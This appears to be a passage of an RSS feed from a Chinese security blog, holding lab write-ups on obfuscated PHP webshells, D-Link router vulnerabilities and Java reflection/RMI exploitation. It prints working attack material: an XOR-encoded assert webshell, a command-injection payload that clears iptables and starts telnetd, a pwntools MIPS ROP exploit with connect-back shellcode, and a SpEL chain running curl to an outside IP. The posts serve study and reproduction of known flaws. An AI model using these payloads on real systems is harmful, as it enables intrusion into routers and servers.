&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/crypto4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/crypto5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是不太理解其中的分析，为什么第一次&lt;code&gt;EXP(O) = 1&lt;/code&gt;的概率就是0呢？&lt;/p&gt;
</content:encoded></item><item><title>php一些webshell构造总结</title><link>https://rayepeng.net/posts/php%E4%B8%80%E4%BA%9Bwebshell%E6%9E%84%E9%80%A0%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://rayepeng.net/posts/php%E4%B8%80%E4%BA%9Bwebshell%E6%9E%84%E9%80%A0%E6%80%BB%E7%BB%93/</guid><pubDate>Sat, 05 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;ASCII表复习&lt;/h2&gt;
&lt;p&gt;由于构造shell的时候都需要使用到异或等运算，所以手边一定要常备ASCII码表&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/05/php-yi-xie-webshell-gou-zao-zong-jie/ascii&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;表格总共是16行8列 从0开始，到0x7f结束&lt;/p&gt;
&lt;p&gt;记住常用的ASCII码值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0 十进制 48 十六进制 0x30
1 十进制 49 十六进制 0x31

A 十进制 65 十六进制 0x41  其实就是跨了16行正好在相邻的列上
a 十进制 97 十六进制 0x61  垮了两次16行
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;最基本的无字母数字webshell&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if(!preg_match(&apos;/[a-z0-9]/is&apos;,$_GET[&apos;shell&apos;])) {
  eval($_GET[&apos;shell&apos;]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参考&lt;a href=&quot;https://www.leavesongs.com/penetration/webshell-without-alphanum.html&quot;&gt;p牛的文章&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;通过异或&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$_=(&apos;%01&apos;^&apos;`&apos;).(&apos;%13&apos;^&apos;`&apos;).(&apos;%13&apos;^&apos;`&apos;).(&apos;%05&apos;^&apos;`&apos;).(&apos;%12&apos;^&apos;`&apos;).(&apos;%14&apos;^&apos;`&apos;); // $_=&apos;assert&apos;;
$__=&apos;_&apos;.(&apos;%0D&apos;^&apos;]&apos;).(&apos;%2F&apos;^&apos;`&apos;).(&apos;%0E&apos;^&apos;]&apos;).(&apos;%09&apos;^&apos;]&apos;); // $__=&apos;_POST&apos;;
$___=$$__;
$_($___[_]); // assert($_POST[_]);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;取反&lt;/h2&gt;
&lt;p&gt;核心也是构造出一个函数&lt;/p&gt;
</content:encoded></item><item><title>路由器相关RCE漏洞分析</title><link>https://rayepeng.net/posts/%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9B%B8%E5%85%B3rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9B%B8%E5%85%B3rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid><pubDate>Sat, 05 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;复习一下基本知识&lt;/h2&gt;
&lt;h3&gt;postgresql数据库操作&lt;/h3&gt;
&lt;p&gt;如果是安装好了&lt;code&gt;postgresql&lt;/code&gt;数据库就会新建一个&lt;code&gt;postgreql&lt;/code&gt;用户&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo su - postgres&lt;/code&gt;切换到&lt;code&gt;postgresql&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;psql&lt;/code&gt;就可以直接登陆&lt;/p&gt;
&lt;p&gt;基本操作如下：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\l&lt;/code&gt;列出所有的数据库&lt;br /&gt;
&lt;code&gt;\c&lt;/code&gt;选择数据库&lt;br /&gt;
&lt;code&gt;\dt&lt;/code&gt;列出所有表&lt;br /&gt;
&lt;code&gt;\d&lt;/code&gt;描述表的信息&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;firmadyne&lt;/code&gt;会将信息保存到&lt;code&gt;postgresql&lt;/code&gt;数据库中&lt;/p&gt;
&lt;h3&gt;ubuntu安装burp&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://labfile.oss.aliyuncs.com/courses/726/burpsuite_free.jar&quot;&gt;下载地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后&lt;code&gt;java -jar .jar&lt;/code&gt;就可以启动了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/05/lu-you-qi-xiang-guan-rce-lou-dong-fen-xi/burp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;D-Link850L RCE分析&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/90?accounttraceid=9e7417ba-17e6-409c-ae12-af7205701caa#toc-0&quot;&gt;参考文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;信息泄露&lt;/p&gt;
&lt;p&gt;位于&lt;code&gt;fatlady.php&lt;/code&gt;文件中，很明显的看到了参数拼接的行为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/05/lu-you-qi-xiang-guan-rce-lou-dong-fen-xi/assets/d-link&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;构造恶意数据发送&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&amp;gt;&amp;lt;postxml&amp;gt;&amp;lt;module&amp;gt;&amp;lt;service&amp;gt;../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml&amp;lt;/service&amp;gt;&amp;lt;/module&amp;gt;&amp;lt;/postxml&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到其解析了但是并没有返回数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/05/lu-you-qi-xiang-guan-rce-lou-dong-fen-xi/assets/burp2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试多次均失败，于是用默认密码直接登录上去&lt;/p&gt;
&lt;p&gt;漏洞点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$server = query(&quot;/device/time/ntp/server&quot;);
$period = query(&quot;/device/time/ntp/period&quot;);	if ($period==&quot;&quot;) $period=&quot;604800&quot;;
$period6 = query(&quot;/device/time/ntp6/period&quot;);	if ($period6==&quot;&quot;) $period6=&quot;604800&quot;;
$ntp_run = &quot;/var/run/ntp_run.sh&quot;;

if ($enable==1 &amp;amp;&amp;amp; $enablev6==1)
{
	if ($server==&quot;&quot;) fwrite(a, $START, &apos;echo &quot;No NTP server, disable NTP client ...&quot; &amp;gt; /dev/console\n&apos;);
	else
	{
		fwrite(w, $ntp_run, &apos;#!/bin/sh\n&apos;);
		fwrite(a, $ntp_run,
			&apos;echo &quot;Run NTP client ...&quot; &amp;gt; /dev/console\n&apos;.
			&apos;echo [$1] [$2] &amp;gt; /dev/console\n&apos;.
			&apos;STEP=$1\n&apos;.
			&apos;RESULT=&quot;Null&quot;\n&apos;.
			&apos;xmldbc -s /runtime/device/ntp/state RUNNING\n&apos;.
			&apos;SERVER4=&apos;.$server.&apos;\n&apos;.
			&apos;SERVER6=`xmldbc -g /runtime/device/ntp6/server | cut -f 1 -d &quot; &quot;`\n&apos;.
			&apos;if [ &quot;$STEP&quot; == &quot;V4&quot; ]; then\n&apos;.
			&apos;	xmldbc -t &quot;ntp:&apos;.$period.&apos;:&apos;.$ntp_run.&apos; $STEP&quot;\n&apos;.
			&apos;	echo &quot;ntpclient -h $SERVER4 -i 5 -s -4&quot; &amp;gt; /dev/console\n&apos;.
			&apos;	ntpclient -h $SERVER4 -i 5 -s -4 &amp;gt; /dev/console\n&apos;.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里直接把&lt;code&gt;$server&lt;/code&gt;变量拼接在了命令执行的代码中，存在命令注入&lt;/p&gt;
&lt;p&gt;首先，获取DEVICE.TIME服务的xml文件格式&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/05/lu-you-qi-xiang-guan-rce-lou-dong-fen-xi/assets/burp4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是格式好像有问题&lt;/p&gt;
&lt;p&gt;使用如下payload尝试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&amp;gt;
&amp;lt;postxml&amp;gt;
	&amp;lt;module&amp;gt;
		&amp;lt;service&amp;gt;DEVICE.TIME&amp;lt;/service&amp;gt;
		&amp;lt;device&amp;gt;
			&amp;lt;time&amp;gt;
				&amp;lt;ntp&amp;gt;
					&amp;lt;enable&amp;gt;1&amp;lt;/enable&amp;gt;
					&amp;lt;period&amp;gt;604800&amp;lt;/period&amp;gt;
					&amp;lt;server&amp;gt;metelesku;(iptables -F ;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT;telnetd -p 23090 -l /bin/date) &amp;amp;amp; exit;&amp;lt;/server&amp;gt;
				&amp;lt;/ntp&amp;gt;
				&amp;lt;ntp6&amp;gt;
					&amp;lt;enable&amp;gt;1&amp;lt;/enable&amp;gt;
					&amp;lt;period&amp;gt;604800&amp;lt;/period&amp;gt;
				&amp;lt;/ntp6&amp;gt;
				&amp;lt;timezone&amp;gt;63&amp;lt;/timezone&amp;gt;
				&amp;lt;time/&amp;gt;
				&amp;lt;date/&amp;gt;
				&amp;lt;dst&amp;gt;0&amp;lt;/dst&amp;gt;
				&amp;lt;dstmanual/&amp;gt;
				&amp;lt;dstoffset/&amp;gt;
			&amp;lt;/time&amp;gt;
		&amp;lt;/device&amp;gt;
	&amp;lt;/module&amp;gt;
&amp;lt;/postxml&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是还是失败了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/05/lu-you-qi-xiang-guan-rce-lou-dong-fen-xi/assets/burp3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;DIR-619L&amp;amp;605L 栈溢出漏洞&lt;/h2&gt;
&lt;p&gt;漏洞点在&lt;code&gt;/bin/boa&lt;/code&gt;程序处&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;ghidra&lt;/code&gt;反编译代码可以看到：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;formLanguageChange&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    if (pcVar2 != (char *)0x0) {
      strncpy(local_f8,__s1,(size_t)(pcVar2 + -(int)__s1));
      local_f8[(int)(pcVar2 + -(int)__s1)] = 0;
      goto LAB_00460b34;
    }
    uVar3 = websGetVar(uParm1,&quot;currTime&quot;,&amp;amp;DAT_004ac874);
  }
  //formLanguageChange接下来调用了sprintf危险函数向local_f8变量中读入参数内容
  sprintf(local_f8,&quot;%s?t=%s&quot;,__s1,uVar3);
LAB_00460b34:
  websRedirect(uParm1,local_f8); //websRedirect使用了local_f8作为参数。
  system(&quot;echo 4 &amp;gt; /proc/gpio&quot;);
  iVar1 = apmib_update(4);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;websGetVar&lt;/code&gt;函数获取到参数之火传入&lt;code&gt;uVar3&lt;/code&gt;变量，之后&lt;code&gt;sprintf&lt;/code&gt;函数将其写入到&lt;code&gt;local_f8&lt;/code&gt;中，再调用&lt;code&gt;websRedirect&lt;/code&gt;函数进行URL跳转&lt;/p&gt;
&lt;p&gt;&lt;code&gt;websGetVar&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  }
  //websGetVar通过malloc、memcpy将获取到的参数返回给formLanguageChange。
  if (-1 &amp;lt; (int)__n) {
    pvParm3 = malloc(__n + 1);
    memcpy(pvParm3,query_temp_var,__n);
    *(undefined *)((int)pvParm3 + __n) = 0;
    addTempStr(pvParm3);
  }
  return pvParm3;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续分析&lt;code&gt;websRedirect&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;undefined4 websRedirect(int iParm1,char *pcParm2)

{
  char *pcVar1;
  
  *(undefined4 *)(iParm1 + 0x50) = 0;
  pcVar1 = strstr(pcParm2,&quot;/apply_setting.asp&quot;);
  if (pcVar1 != (char *)0x0) {
    apply_setting_redirect = apply_setting_redirect + 1;
  }
  send_r_moved_perm(iParm1,pcParm2);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到调用了&lt;code&gt;send_r_moved_perm&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;req_write(iParm1,uVar1);
req_write(iParm1,&amp;amp;DAT_004a1f14);
pcVar2 = strstr(pcParm2,&quot;http://&quot;);
if (pcVar2 == (char *)0x0) {
  if (*pcParm2 == &apos;/&apos;) {
    pcParm2 = pcParm2 + 1;
  }
  sprintf(acStack224,&quot;http://%s/%s&quot;,*(undefined4 *)(iParm1 + 0x70),pcParm2);
  pcParm2 = acStack224;
}
sprintf(acStack480,
                  
        &quot;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;\r\n\t\tThis document has moved to a new &amp;lt;ahref=\&quot;%s\&quot;&amp;gt;location&amp;lt;/a&amp;gt;.\r\n\t\tPlease update your documents to reflect the newlocation.\r\n\t\t&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;\r\n&quot;
        ,pcParm2);
req_write(iParm1,acStack480);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在&lt;code&gt;send_r_moved_perm&lt;/code&gt;函数中两次调用了&lt;code&gt;sprintf&lt;/code&gt;函数分别向acStack224(sp+0x19f8-0xe0)和acStack480(sp+0x19f8-0x1e0)中输入字符。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;通过第二两个sprintf修改返回地址，构造ROP链，导致程序控制流被劫持。（也可以通过两个sprintf的配合来实现栈的迁移，漏洞作者是这么实现的）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在mips虚拟机中尝试运行程序但是失败了,&lt;code&gt;firmadyne&lt;/code&gt;模拟固件也没成功&lt;/p&gt;
&lt;p&gt;记录一下其实是文件损坏了所以qemu模拟不了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ecutable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在我的WSL中使用最新的qemu是可以模拟的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  squashfs-root-0 sudo chroot . ./qemu ./bin/boa                                                                       Initialize AP MIB failed!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    363 segmentation fault (core dumped)  sudo chroot . ./qemu ./bin/boa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那看来需要更新一下qemu版本了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/05/lu-you-qi-xiang-guan-rce-lou-dong-fen-xi/assets/IOT0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;记录一下exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


from pwn import *
#context.log_level=&apos;debug&apos;
context.arch=&apos;mips&apos;
context.endian=&apos;big&apos;
ip=&apos;192.168.75.150&apos;

def syscmd1(a):
    p=remote(ip,80)
    z=len(a)
    print &quot;[+]len:&quot;+str(z)
    payload=&apos;&apos;
    payload+=&apos;POST /goform/formLanguageChange HTTP/1.1\r\n&apos;
    payload+=&apos;Host: &apos;+ip+&apos;\r\n&apos;
    payload+=&apos;Connection: keep-alive\r\n&apos;
    payload+=&apos;Accept-Encoding: gzip, deflate\r\n&apos;
    payload+=&apos;Accept: */*\r\n&apos;
    payload+=&apos;User-Agent: python-requests/2.18.4\r\n&apos;
    payload+=&apos;Content-Length: &apos;+str(z+9)+&apos;\r\n&apos;
    payload+=&apos;Content-Type: application/x-www-form-urlencoded\r\n&apos;
    payload+=&apos;\r\n&apos;
    payload+=&apos;currTime=&apos;
    payload+=a+&apos;\r\n&apos;
    p.send(payload)
    p.recvuntil(&apos;&amp;lt;/html&amp;gt;&apos;)
    #raw_input()
    p.close()

#base address of libc.so.0
base1=0x2ab88000
###shellcode
sc=struct.pack(&quot;&amp;gt;I&quot;,0x24060101)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0x04d0ffff)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0x2806ffff)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0x27bdffe0)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0x27e41001)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0x2484f023)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0xafa4ffe8)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0xafa0ffec)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0x27a5ffe8)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0x24020fab)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0xafa00108)
sc+=struct.pack(&quot;&amp;gt;I&quot;,0x0101010c)
sc+=&quot;/bin//sh\x00&quot;

shellcode =&apos;&apos;
shellcode += asm(shellcraft.connect(&apos;192.168.75.149&apos;,5555))
shellcode += asm(shellcraft.dup2(5,0))
shellcode += asm(shellcraft.dup2(5,1))
shellcode += sc

s0=struct.pack(&quot;&amp;gt;I&quot;,base1+0x2C794)
s1=struct.pack(&quot;&amp;gt;I&quot;,base1+0x2C794)### rop2:move $t9,$s2;...;jr $t9 
s2=struct.pack(&quot;&amp;gt;I&quot;,base1+0x24b70)### rop3:sleep(1)
s3=struct.pack(&quot;&amp;gt;I&quot;,base1+0x2bdac)### rop5:addiu $a0,$sp,0x18;...;lw $ra,0x30;jr $ra
s4=struct.pack(&quot;&amp;gt;I&quot;,base1+0x2bdac)
###rop
payload1=&apos;a&apos;*0x167+s0+s1+s2+s3
payload1+=struct.pack(&quot;&amp;gt;I&quot;,base1+0x25714)  ###rop1: li $a0,1;move $t9,$s1;jalr $t9;ori $a1,$s0,2
payload1+=&apos;b&apos;*0x1c+s0+s1+s2+s3+s4
payload1+=struct.pack(&quot;&amp;gt;I&quot;,base1+0x5f98)  ###rop4:lw $ra,0x1c($sp);...;jr $ra
payload1+=&apos;c&apos;*0x1c
payload1+=s3
payload1+=&apos;d&apos;*0x18
payload1+=struct.pack(&quot;&amp;gt;I&quot;,0x24910101) ###rop7 addiu $s1,$a0,257;addi $s1,$s1,-257;move $t9,$s1;jalr $t9
payload1+=struct.pack(&quot;&amp;gt;I&quot;,0x2231feff)
payload1+=struct.pack(&quot;&amp;gt;I&quot;,0x0220c821)
payload1+=struct.pack(&quot;&amp;gt;I&quot;,0x0320f809)
payload1+=struct.pack(&quot;&amp;gt;I&quot;,0x2231feff)
payload1+=struct.pack(&quot;&amp;gt;I&quot;,0x2231feff)
payload1+=struct.pack(&quot;&amp;gt;I&quot;,base1+0x2bda0) ###rop6:mov $t9,$a0;...;jalr $t9
payload1+=&apos;e&apos;*0x20+shellcode
if __name__ == &quot;__main__&quot;:
    syscmd1(payload1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/90?accounttraceid=9e7417ba-17e6-409c-ae12-af7205701caa#toc-0&quot;&gt;D-Link-Dir-850L-远程命令执行漏洞&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/5699#toc-0&quot;&gt;路由器漏洞分析系列（2）：CVE-2018-20056 DIR-619L&amp;amp;605L 栈溢出漏洞分析及复现&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>java代码审计基础</title><link>https://rayepeng.net/posts/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%9F%BA%E7%A1%80/</link><guid isPermaLink="true">https://rayepeng.net/posts/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%9F%BA%E7%A1%80/</guid><pubDate>Fri, 04 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;是时候开始研究java代码审计了&lt;/p&gt;
&lt;h2&gt;反射&lt;/h2&gt;
&lt;p&gt;通过反射可以使得java语言具有动态特性&lt;/p&gt;
&lt;h3&gt;通过java.lang.Runtime&lt;/h3&gt;
&lt;p&gt;反射利用的代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static void main(String[] args) throws ClassNotFoundException,NoSuchMethodException, IllegalAccessException, InvocationTargetException {
    Class clazz = Class.forName(&quot;java.lang.Runtime&quot;);
    clazz.getMethod(&quot;exec&quot;, String.class).invoke(clazz.getMethod(&quot;getRuntime&quot;).invoke(clazz), &quot;calc.exe&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;java.lang.Runtime遵循单例模式，也就是说构造方法是私有的、&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;查看其源码可以发现:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/** Don&apos;t let anyone else instantiate this class */
private Runtime() {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注释中特意写明了不要让任何人实例化这个类&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static Runtime currentRuntime = new Runtime();

/**
 * Returns the runtime object associated with the current Java application.
 * Most of the methods of class &amp;lt;code&amp;gt;Runtime&amp;lt;/code&amp;gt; are instance
 * methods and must be invoked with respect to the current runtime object.
 *
 * @return  the &amp;lt;code&amp;gt;Runtime&amp;lt;/code&amp;gt; object associated with the current
 *          Java application.
 */
public static Runtime getRuntime() {
    return currentRuntime;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;遵循单例模式所以就会有一个静态方法&lt;code&gt;getRuntime&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;要实现反射执行&lt;code&gt;exec&lt;/code&gt;，前面提到的&lt;code&gt;payload&lt;/code&gt;可以分为几个部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//获取到java.lang.Runtime的class对象
Class clazz = Class.forName(&quot;java.lang.Runtime&quot;);
Method execMethod = clazz.getMethod(&quot;exec&quot;, String.class);
Method runtimeMethod = clazz.getMethod(&quot;getRuntime&quot;);
execMethod.invoke(runtimeMethod.invoke(clazz), &quot;calc.exe&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意每一个反射得来的方法&lt;code&gt;invoke&lt;/code&gt;的时候第一个参数必须是对象&lt;/p&gt;
&lt;h2&gt;ProcessBuilder的利用&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//顾名思义和StringBuilder又几分相似
Class clazz = Class.forName(&quot;java.lang.ProcessBuilder&quot;);
Method startMethod = clazz.getMethod(&quot;start&quot;);
startMethod.invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList(&quot;calc.exe&quot;)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样我们通过反射拿到&lt;code&gt;start&lt;/code&gt;方法，然后调用的时候，由于第一个参数必须是该类的对象，所以我们通过&lt;code&gt;getConstructor&lt;/code&gt;方法拿到它的构造方法之后实例化&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/java0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;反射例题&lt;/h2&gt;
&lt;p&gt;引用&lt;code&gt;code breaking&lt;/code&gt;的一道题目&lt;/p&gt;
&lt;p&gt;题目是一个登陆的页面，用户名和密码都是admin，登陆的时候可以勾选&lt;code&gt;remeber-me&lt;/code&gt;选项&lt;/p&gt;
&lt;p&gt;登录之后是一个hello页面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@GetMapping
public String admin(@CookieValue(value = &quot;remember-me&quot;, required = false) String rememberMeValue,HttpSession session,Model model) {
        if (rememberMeValue != null &amp;amp;&amp;amp; !rememberMeValue.equals(&quot;&quot;)) {
            String username = userConfig.decryptRememberMe(rememberMeValue);
            if (username != null) {
                session.setAttribute(&quot;username&quot;, username);
            }
        }

        Object username = session.getAttribute(&quot;username&quot;);
        if(username == null || username.toString().equals(&quot;&quot;)) {
            return &quot;redirect:/login&quot;;
        }

        model.addAttribute(&quot;name&quot;, getAdvanceValue(username.toString()));
        return &quot;hello&quot;;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;勾选了&lt;code&gt;remember-me&lt;/code&gt;之后，会从中解密得到&lt;code&gt;username&lt;/code&gt;，然后将其传递给一个方法&lt;code&gt;getAdvanceValue&lt;/code&gt;跟进这个方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private String getAdvanceValue(String val) {
     for (String keyword: keyworkProperties.getBlacklist()) {
         Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);
         if (matcher.find()) {
             throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
         }
     }

     ParserContext parserContext = new TemplateParserContext();
     Expression exp = parser.parseExpression(val, parserContext);
     SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
     return exp.getValue(evaluationContext).toString();
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到有一个黑名单，之后的几行代码是解析一个表达式并执行的&lt;/p&gt;
&lt;p&gt;构造利用链:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String.class.getClass().forName(&quot;java.l&quot;+&quot;ang.Ru&quot;+&quot;ntime&quot;).getMethod(&quot;ex&quot;+&quot;ec&quot;,String.class).invoke(String.class.getClass().forName(&quot;java.l&quot;+&quot;ang.Ru&quot;+&quot;ntime&quot;).getMethod(&quot;getRu&quot;+&quot;ntime&quot;).invoke(String.class.getClass().forName(&quot;java.l&quot;+&quot;ang.Ru&quot;+&quot;ntime&quot;)),&quot;curl 39.106.125.244:8888&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就用它的那个类进行加密：&lt;/p&gt;
&lt;p&gt;得到&lt;code&gt;payload&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;VEdGePvYTXhp0TFlUTtEl9RimJGOGpGZmgTM181ZSAKn4ScdI0Z7KYgJhlMaf9ccTQkfOt9mgarInh090nWzls6IIWfW48Zkp8HC-rIyg6JtO-AMtI9O1NJYoSTFhcKdJqkg7VdFU-VG3b6vZrkJtwrj_i6Lv2-MBChAj5zXjZb7KGe6wnDO9NuYCGxQPgeADgBBME92fOaL3pOQp4Bte6O3gv0O3m6y09PwZ3jc-PMHalwzRzgR-M1svkqJushiOMCAj1i9rDZK3uOk1_CdFzQKq1to-MOwohuebk7d9NZRM_jWyG2fyJrqxJ6JPlquC7whDaz8Bz8gxXc2QYn2rrjhRZ0w5sn1IaRmg2DoPiel0OUd9LKMhxWDoLHZHu7X
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用效果：&lt;/p&gt;
&lt;p&gt;VPS监听到了请求&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/JAVA3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;RMI&lt;/h2&gt;
&lt;h3&gt;一个探测的工具&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/04/java-dai-ma-shen-ji-ji-chu/rmi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;nmap&lt;/code&gt;扫描可以发现这次的主角&lt;code&gt;Java RMI Registry&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/04/java-dai-ma-shen-ji-ji-chu/assets/rmi2&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来可以使用&lt;code&gt;nmap&lt;/code&gt;的脚本进行验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nmap --script=rmi-vuln-classloader -p 1099 192.168.182.134
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-05 06:41 EDT
Nmap scan report for 192.168.182.134
Host is up (0.00041s latency).

PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-vuln-classloader: 
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|       
|     References:
|_      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
MAC Address: 00:0C:29:D9:A2:EA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主机是有漏洞的&lt;/p&gt;
&lt;p&gt;msf上搜索java_rmi的模块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 &amp;gt; search java_rmi

